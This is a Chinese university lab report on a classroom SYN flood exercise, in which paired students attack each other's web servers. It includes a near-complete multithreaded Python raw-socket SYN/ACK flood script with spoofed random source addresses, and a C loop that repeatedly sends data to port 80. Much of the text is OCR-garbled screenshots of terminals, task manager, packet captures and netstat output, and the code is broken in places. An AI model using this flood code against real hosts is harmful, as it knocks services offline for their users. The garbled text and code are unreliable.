_2017科研实验报告x

时间:2021-11-05 13:21:52  来源:网友投稿

PAGE

PAGE # / 14

实验五分析SYN FLOO(攻击原理

一、 实验内容

通过分小组实施 SYN FLood 攻击,掌握分布式拒绝服务攻击原理。

二、 实验目的和要求

实验目的

本实验的教学目的是熟悉 SYN flood 的攻击原理与过程,及 IPv4 所存在的固有缺陷。

实验要求

本实验的基本要求: 学生在实验课前分小组准备, 每组分角色确定实施攻击者和被攻击 者,熟悉 SYN flood 的攻击原理与过程,观察攻击现象。

三、 实验设备(软、硬件)

硬件:性能较强的 PC机

软件: Windows NT 操作系统

四,实验设计方案;

1 两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台 web 服务器,攻击

方攻击对方得web服务器,

2, 附 syn-flood 攻击得源码,注意攻击 ip 地址要做改动 五,实验原理

在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的 TCP SYNB文,受

害主机分配必要的资源,然后向源地址返回 SYW ACK包,并等待源端返回 ACK包。由于源

地址是伪造的,所以源端永远都不会返回 ACK报文,受害主机继续发送 SYW ACK包,并将

半连接放入端口的积压队列中, 虽然一般的主机都有超时机制和默认的重传次数, 但是由于 端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的 TCPSYN报文,半连

接队列就会很快填满, 服务器拒绝新的连接, 将导致该端口无法响应其他机器进行的连接请 求,最终使受害主机的资源耗尽。

六,实验方法及步骤

1,被攻击方配置web服务器

2, 攻击方设置要攻击服务器的 ip 地址,然后编译源程序。

运行synflood,攻击web服务器

4, 被攻击方打开命令行提示窗口, 运行 netstat 命令, 观察响应, netstat 命令显示 了所有当前连接,可以注意到 netstat 所返回的记录

5,试着打开对方 web服务器的网页,观察结果;

6,试着同时多台机器对同一 web服务器发起攻击,然后用一台机器登陆 web服务器,

观察结果

七,试验数据记录与处理

此项可以不填

八,试验结果及分析

一台用户机攻击服务器(ubantu下python)

r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.TyyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw[VUd?] f村 E^KQi*raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ih

r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.T

yyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw

[VUd?] f村 E^KQi*

raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ihr-F cd Local rDDt^ryB - vt^tusl - NChlne: /^5-r/lacj I* cd LtJb rnntforya-vlrtwol i^achinE ;/u s-r/lac-al ^llbi cd pytho^Zi 7 rgTfirjfb mW (v*1~ 社哙凯皿:fu弓r /14C41 m pyTht* h|>Z,肝

m^ch ]P:17J.?.±23.B3

attick FORTIN

warier (tyn of ?ck of* tvnlack)s,yn ttWfBthreflds-^ Z55Q4|

丙存

5.1Z7.&G&C6S%]

CPU 2% 147 GHz

蓝牙

rn-ra

WLAN £i£: 0 itiCl- 0 ?bp

WAR

[ntel(R) CorefTM) i7-4720HQ CPU @ 2.:

ITO*

Z59GHE

iilB¥

2%

111-6

dttjr

1.87 GHz

砥蹄:

PI殴:

1570 4&028

EWalTftlH

1;01:02;07

4

聞n: 3 聽Al忧: LI iti年: 12时: L3埋耳:

Z^6 KB

1JDMB

既d MB

virtual mac Mm-:/?tsrAoul/llb/P¥ttie#i£.7

-vlrtuiX chin<^ -S ivdg[tudd]邢 的VA::- ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine

-vlrtuiX chin<^ -S ivdg

[tudd]邢 的VA::

- ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine; /usr/ L# c-d lib r^tVyy-f-vlrtwl-viachiwi/uBr/l^EBlA^bV cd p^thcml. 7 fvl.riu*! -ft^eh :削射 ^UeelA \ 和晦池 s ?■刖"曲 iwbz s 州

atcack HPJ172.M.222.A1;

itcack IPOfiT:fl4 rK>de:{5rn or jck nr tliSECthr^nds: 2550Q

swi翻a空■加 磁 I9H MIBsElcSt

Intel(R) CorefTM) i7-4720HQ CPU ? 2

2.59 GHz

1.87 GHz

24%

119

1595 46749

正箱话斤时词

1:01:0329

naff

I3时

es再 珈即 1.DM& "MR

开启三个终端

L1L-HKhLM :ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mirraatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, tr?tfvY*-^(->"l:iul -Hvht?:

L1

L-HKhLM :

ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mir

raatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, t

r?tfvY*-^(->"l:iul -Hvht?: ^ypr^lwiil^Llli/f^thsn]-. Td python hL? .p^ ?ElK.k ]F:BTJ.ZZ.Za2.l>

rwihi: ar ode or ivrd?ck)?ifn

HfflHtk-Nda: Z>!bW

40% 1.67 GHz

12? 1B40 48H41

JH

*flq£l

?V甲趣却期伍也 Bi!片

meofi ”

yi*kf|r?-¥lrtvaL -HaEhiav: -f audo iu jsuM] o*的卷旧: rwqfifjiii-rtrtml-RKhtM: c4 /iSF

r-saEf if'V111- v^r tua L-HichLm : ^uar* cd Loc?L FM輝济lull 髀fu肝八岂机|| Cd IW rtrtWl-wtCktM; Ct 力|小鉀比了

r-aafcf si'Yft-vLrtual-HKf hLm: ^uar^LcciiL/>L1h/'|^YttKn3 . Tf python hb2 .py ^ClKk ]F:lTI.ZZ.2aJ.9¥

?tt-Kk wr:44i

“E sir ?ck 口r ?YHl?ck胆pi

ThfNdl! Z3-^M

54CK_n?<-L ■壮

SACK^KHi^L ?92

Lir>4

5A£k_HRM-L ■S^-13

L*fM>

LAM> M5&-14-4B

mk] 540-im MB-zui* ui^narj utu 5*<|"-1J17 収L-J?a

MEK] 5^q?D a^r-MMD

5*q*l Ae>-1M Wir^L'bBMi L.

mTWIEFS M. 541215 FJi. i

r4.5-MlJ4

M.S-MIM

B5-.

BS-.

■3-.&rM412

fll. T1J4M

丹t-2弧血询 21t. i M-. M. 1>M jiv.jM.za.i'n ZML l M. 20. IE 21-t-2J4--2D.l<q lJ4-L4.Zl.ig liM-L4.£1.19 1N-L+.Z1_IQ 1T4. L4. 71.ig in.14. n.n 1T4.14. Zli-K^

lCTLaLW.*M?l

IIRU.U-.IW*

HTTW.i'jW

Tier

V2.H.1U.4J!

TCP

i7J.I2.2M.4A

TCF

44

iJLH.ilH.41

■rcr

httfE

irr. irz.272.4-j

TCF

M

lIr.7J.2U.4l

TCP

?O

lfl.72.JJJ.-l-J

TCP

M

ita.rj.jTj.-i-i

TCF

Cd

ljl.T2.2TJ.-l-J

TCP

MS

iji. T2.2Z2.-I-J

HTT?

1-M

IT J. R.27J!.-I-J

TCP

Cfl

IT J. n-ZU-Al

TCF

竝巧e>

AS4> w-tifb?

*CK] II—4

<K] 4Ck~l N1W-I6M LS4 M5S-EU4

屮-1 wleulst吃 L?f>0

Knrriii w-nrsf 皿母刑#

W-3-UhB

[TCF y jtE irf ■ r*iinM^-1?d POj] l?TT>-,rl.l HO -IH. (“lA舟*1 詔e> ■O-UTS9 [5¥*, M:K] BhT *<-^1 ■^in^l-4eai ■O-H.TSQ IMmI ±vq-l UB4 Hln^L^WD Lwi-M3

Ml K-WTIQ IN. I ±?q-l Aclc-L Mn^]? Lvn-4

t-d 叫VLHO |5¥*(, J£rJ EmHI frck-1 rlnp-57Wi lah-0 pHU雷 M£K_Pf?4-] ri-IDM e-a K-VLNO lATaj -frM-1 ufc-ISL vin-aJHM L?n-4

然而,python代码并不能很好的攻击,因为 python语言比c和java等离机器语言更远, 大概运行速度是 c的1/30倍,后来经试验发现运行任何 Python所占用cpu在23左右。

于是接下来采用 c语言,python代码如下:

#!/usr/b in/pytho n

#-*-codi ng:utf-8-*-

import socket

import struct

import ran dom

import threadi ng

class myThread (threading.Thread): #

def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode

def run(self):

attack(self.dstip,self.dstport,self.mode)

创建一个进程的方法

def checksum(data): #

s = 0

n = len(data) % 2

for i in range(0, len(data)-n, 2):

s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:

s+= ord(data[i+1])

while (s >> 16):

s = (s & 0xFFFF) + (s >> 16)

s = ~s & 0xffff

return s

检验和计算

def IP(source,destination,udplen): #

version = 4

ihl = 5

tos = 0

tl = 20+udplen

ip_id = random.randint(1,65535)

flags = 0

创建一个 ip 数据包头

offset = 0

ttl = 128

protocol =6

check =0

source = socket.inet_aton(source) destination = socket.inet_aton(destination)

ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol,

socket.htons(check),

source, destination) return ip_header

def TCP(srcip,dstip,protocol,dp,fg): # 创建一个 tcp 数据报头

source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp

syn_num=random.randint(1,4000000000)

if fg == 2:

ack_num=0

else:

ack_num=random.randint(1,4000000000)

hlen=5

zero=0

flag=fg

window=8192

check=0

point=0

tcplen=hlen

h_f=(hlen << 12)+flag

TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcpo rt,dstport,syn_num,ack_num,h_f,window,check,point)

check=checksum(TCP_head)

TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,che ck,point)

选择 syn&ack 时的混合模式return TCP_head def makepacket(dstip,dstport,fg):

选择 syn&ack 时的混合模式

m.randint(1,255))+'.'+str(random.randint(1,255))

protocol=6

ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): # 进攻

if mode == 'syn':

fg=2

while 1:

data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport))

elif mode == 'ack':

fg=18

while 1:

data=makepacket(dstip,dstport,fg)

s.sendto(data,(dstip,dstport))

elif mode == 'syn&ack':

while 1:

data=makepacket(dstip,dstport,2)

s.sendto(data,(dstip,dstport))

data=makepacket(dstip,dstport,18)

s.sendto(data,(dstip,dstport))

else:

print 'DON\'T bb!'

提示用户输入提示用户输入提示用户输入

提示用户输入

提示用户输入

提示用户输入

提示用户输入

8位

dstport=int(input('attack PORT:')) #

mode=raw_input('mode:(syn or ack or syn&ack)') # threads=int(input(" 线程数 threads : ")) #

ip_first=[] # 遍历源地址的前 for i in range(1,10):

ip_first.append(i)

for i in range(11,172):

ip_first.append(i)

for i in range(173,192):

ip_first.append(i)

for i in range(193,224):

ip_first.append(i)

机器网s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) # socket.AF_INET --> 络之间的通信

机器网

s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[]

for i in range(threads): # 为每个进程分配名字

threads_name.append('theread'+str(i))

for i in range(threads): # 创建每个进程

threads_name[i]=myThread(dstip,dstport,mode)

for i in range(threads): # 开始每个进程

threads_name[i].start()

用c语言实现:(ubantu下c)

80端口未开时,进攻失败

■■iyi

14?

(R. WIS^SUI -L I:再甲11

D^wvuu” rwirj Ml

BDEapHirEK.

JUun OflBuc DnkUsp

USENET SEMtSerrice

-.COMSyrfW

K*duVunUliH^

ATlKifMMS^ *the<TM5¥C

MU 仙 iBeuDab—

■Kpnec.sune ^A&m^flvwp 二;^=

,ALG

__ AdfUsvrLnH^flyvr-. 二 MCwp

r JMSPTT^ifiKw

^MtwW _Cbud£pl>kHl 耳 veffl 谢 Xc

=” 叱T呻

ILEM

17Bt

2W

kifcvI^R] Ccfilvnl Pr^tK lion HILI Wrac-i* £-DMt SyiAMI Appkdnion

■Cgmp K>册n曲娜『0亦对 BartiFtpait &?nkt

BDH*5?W:e faduYUrrilbii^ ATK<iFMX&MYriC#

St上 "止 Sff± e?± 巨甲上 e>± im^j 正在丘眄 e<± "上

lAbSfl! iiNS*; URfMHA ! hftF-' LMfk. ph|B

ire- - thfci, png" wtell:h-"M"血切抽山? *llgn-rrt^L4

'2*「?寿5刘尹*冲鼻1>; Y* hr?f . ~1h4m ire1"曙"和―』

g-p^l Lak. p*^~ wLdEhn" U" fee 璋 ht-J犷 ■L*Lpn■■-■IheL 虽ILiT bardtor

* ib"

r/SjI"

*tr>

xtfl 吟口F-crant tal^r. ~HaB4H>" tlw?_ha!*dEl-*■!.

Prfcebi>; Inbhp i-rlng lirta^iipfain ¥/&6flli£.6R .fiLf" wLdEha "2*" haL^hEa'ZB" ■IWmP i.4d^ta >ii4m-; -b--EA5-T wdjf t? bwUd H-bftr¥t<. 口■【屮就 ur-atr sLch WMfn;] ta 屮MtTjtdir

屮"

c^tribL-n-

■ I'briy"-

)fTa4>vy>,',vtrtu>|,L-K*cklaii:.舟Uitnl; c-mimc t rrr>sr I TT'Mny* -irlrtuaL -nadhlM : -f

4ppUz-iHor Laj^r Swrf

Aifcb? f lnJi ^Layflii UpcUA* ^nvior mo wtrtvmsw

和补至—4JSZBS

5冋应Kr阳対方旳 LbudZiptkMl 酗化帽Erem baker

Rqnwi 恤—呵

Hi?,

己母_t

e*上

a*± e#± Bm±

1

LrSifi 厅

玩曲1吁

SEtfiin

MWISV.. 口 g DcwHju.

*^4rvH^in*ar1k ”i;avK J*?

w/WLp

C PU lht?l£RSi CflrtfTMl I7-4720HQ CPU @ 2

*> iV

jiff

126

L87 GHs

iE^vajqW

0:00:35:17

■tAAB

m.

2 59 GHz

80端口打开时:

■碎 nw>

1807 45931 十.

LI*#

L3?:

254iS

1HMI

fiGMe

I; Inbcp; ikn坷p; tnJH*; ChMQ^ [■inqy労寸:1*4「?=1闵?工.p^TgphFr.L Lfe-FEHfi ire."^phvrM^-fUp- UdL .pnfr- bMllk.-3B- ftHLghU":L4" ?i.LBn.-^bmLftll-i p打■y?j,?i;裁a; hrd-r-'ledi-ji,MV npfru-rvLMo-th^uiAfi £rc>bMp£trv^ru

pllih.p^g" rtd%h.BjtT h#t|#ir-1,i6B *11阿'少严\40“? hrdfr.■(■&</?-

Atp

吋1ti?

Vr* rtr?

<Ed h*Lghli-l^~ bg?l?ri " vrr&2r|->?f aa'L c?Ldtn-iMMM- eL^ui 'hfl?dd- >-faibH >5prtrfc5#>!*<] sre-"MiAM:rv/so^tUm.flip n理di■■孙■ heljftT-'zfl' 乂1.■■必m rF>int¥p;?*>E4B-y 勺刊 t" Mid 理r.阿 14乂44 祖th ■阳Mr

lanex/Sd* 时"?

I:■■蓟 iO

Hni?-¥^rImtiL-nacA!?■:-> ./tLlvnC fccl: F和榻艸-vtrTHl^MLiilM ! ■ 1 ||

Inbip; lidiip; libvp; tnbi$;Y0 Chm^r Lmfuapi : l^ii Ihr"广iwfeH*

■ nfl-rr r-.1?^ in*■ ■oi^rv/-* I^hal piiif rft^Rh-'W hflflhT-"H' ■|tFM?l.t

H- bor J?r" *>5' ■■/■*Wr4ihp; ■■ hml!"i'Lnd<ra-|ApFapp3?r¥L?ng*'?p' L^ 34-c>--<fifMr¥/f Lk ■a-*rqLlilt.K4' wndch.-ht' IwL小t/up iUHna-jbwid<q?- inrdivr.-t'MjKi-

■ br皿、■?

?fEdv

cUS'P-'m'MIi Sr#r.ahr(p: .ir^HrbMqp=/f-i

th. ^pfSar^rtrLvark. rtfrf

<AL? 4/h1>

瞬间内存占用在50左右。

*ilfr

■eta HI.曲^f£-ia1arHpi^Fb?FfrHFafl<!弭Ar?dbM?M” “■"『2泌1_>114? |k*Vrt!5p; lMid#;*lhfl iri: -CM^W*v/Hfl:U?n& |ftr vt<lh> * ZB*- *Lli财

lddla*>JiRiiip; fb^Laiy hu tc buLId Httvarvar^ DiiiLaluii! Sarwr vLth JL?5ar¥ :: ■ J<?b h 屮

讣r?

</-tataLi->

?“強"

i/fecdf?-

?川也上

经检验,运行其他 c语言程序时内存占用率大概在 25%左右,得出dos攻击的内存占

用率大概在25%

假设python也正常攻击,大概占用率不到 1%所以python脚本攻击基本上不能 dos

用netstat 查看:

TCP

15:

37489

IdeaPad-PC

http

SVN_SENT

TCP

15:

37490

IdeaPad'PC

http

S¥N_SENT

TCP

15:

37491

IdeaPad-PC

htt?

SVN_SENT

TCP

15:

37492

IdeaPod'PC

http

SYH_SENT

TCP

15:

37493

IdeaPad—PC:

http

SVN_SENT

TCP

1S:

37?4

ItieaPatl'PC

http

SYN_SENT

TCP

15:

37495

IdeaPad-PC:

http

SVN.SENT

TCP

153

374?6

IdfrAF&d-FC

E?N_SENT

TCP

15

37497

IdeaPad-PC;

http

SVN.SENT

TCP

172-22-217-115

3749H

Idv4Pail-PC

http

EVN_EENT

TCP

15

37499

IdeaPad-PC

http

SVN.SENT

ICR

15

37500

Id&aPad-PC

http

EYN.EENT

TCF

172.22.21?.115

37501

IdeaPad-PC

http

£¥N_£ENT

TCP

172,22.217-115

3 7502

IdeaPad-PC

http

SVN.SENT

TCP

172 .22.217.115

37503

IdeaPad-PC

http

£VN_£ENT

TCP

172,22,217,115

37504

IdeaPad-PC

http

SYN.SENT

TCP

15

37505

IdeaPad-PC

http

£?N_£ENT

TCP

172,22.217,115

37506

IdeaPad-PC

http

SYN.SENT

TCP

15

3?507

IdeaPad-PC

http

SVN-KENT

TCP

172,22.217.115

37508

IdeaPad-PC

http

SVN_SENT

TCP

15

3?509

IdeaPad-PC

http

£VN_£ENT

TCP

172.22.217,115

37510

IdeaPad-PC

http

SYNJSENT

TCP

15

37511

IdeaPad-PC

http

S¥N_£ENT

TCP

15

%■/

37512

IdeaPad-PC

http

SVN_SENT

鬪 ■ CAWindowsXsystem 3 SXcmd, exe

c语言代码(改编自 win系统下的client.cpp 文件)

#in clude <sys/socket.h> //li nux

下的套接字协议头文件

#in clude <n et inet/in .h> //

网络连接头文件

#in clude <n etdb.h>

#include <arpa/inet.h>

#include <stdlib.h>

#include <string.h>//字符串头文件

#include <string.h>

//

字符串头文件

#include <stdio.h>

#include "errno.h"//错误类型头文件

#include "errno.h"

//

错误类型头文件

#pragma comment(lib,"ws2_32.lib")

#define INVALID_SOCKET 4294967295//

#define INVALID_SOCKET 4294967295

//

定义 linux 下对应 windows 的无

效值

#define SOCKET_ERROR -1 //socketerror 的错误值 #define MAKEWORD(a, b) ((unsigned short)(((unsigned char)(((unsigned int)(a)) & 0xff)) | ((unsigned short)((unsigned char)(((unsigned int)(b)) & 0xff))) << 8))

// 宏定义 makeword()

int main(int argc, char* argv[])

{

int sockVersion = MAKEWORD(2,2);

char data;

int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 创建 s 套接字

if(s == INVALID_SOCKET) // 检查 s 是否无效

printf("invalid socket !");

return 0;

struct sockaddr_in serAddr;

sockaddr_in 结构体

serAddr.sin_family = AF_INET;

//

一般为定值

serAddr.sin_port = htons(80);

serAddr.sin_addr.s_addr

击) ip 地址

if (connect(s, (struct

SOCKET_ERROR) //connnect

{

printf("connect error !");

//close(s);

//

= inet_addr("3");

sockaddr *)&serAddr,

函数判断能否连接上目标

//linux 下 的

结构体里的 family 值, 端口号

// 连接(攻

sizeof(serAddr)) ==

return 0;

char * sendData = "

你好,TCP服务端,我是客户端!\n";

while(1){ // 循环执行语句, 模仿 dos 的无限次攻击

send(s, sendData, strlen(sendData), 0); // 攻击发包

char recData[255];

int ret = recv(s, recData, 255, 0);

if(ret > 0)

{

recData[ret] = 0x00;

printf("%s",recData);

}

}

return 0;

}

九,实验总结

和 window且 win8Python 具有更大的类库, 编程更简单,但是相对较慢; c 语言编程上在 linux 下有一些差别,编程难度较 python 稍难,但运行速度比 python

和 window

且 win8

十,参考资料

《信息安全技术体系》——王斌君

《 Linux 与 windows 的 socket 编程》——

《DDos攻击与防御分析》一一

461a3f2e487480a08bd5a626e32748a9

推荐访问:实验报告 科研 实验 报告 2017科研实验报告x


[_2017科研实验报告x]相关文章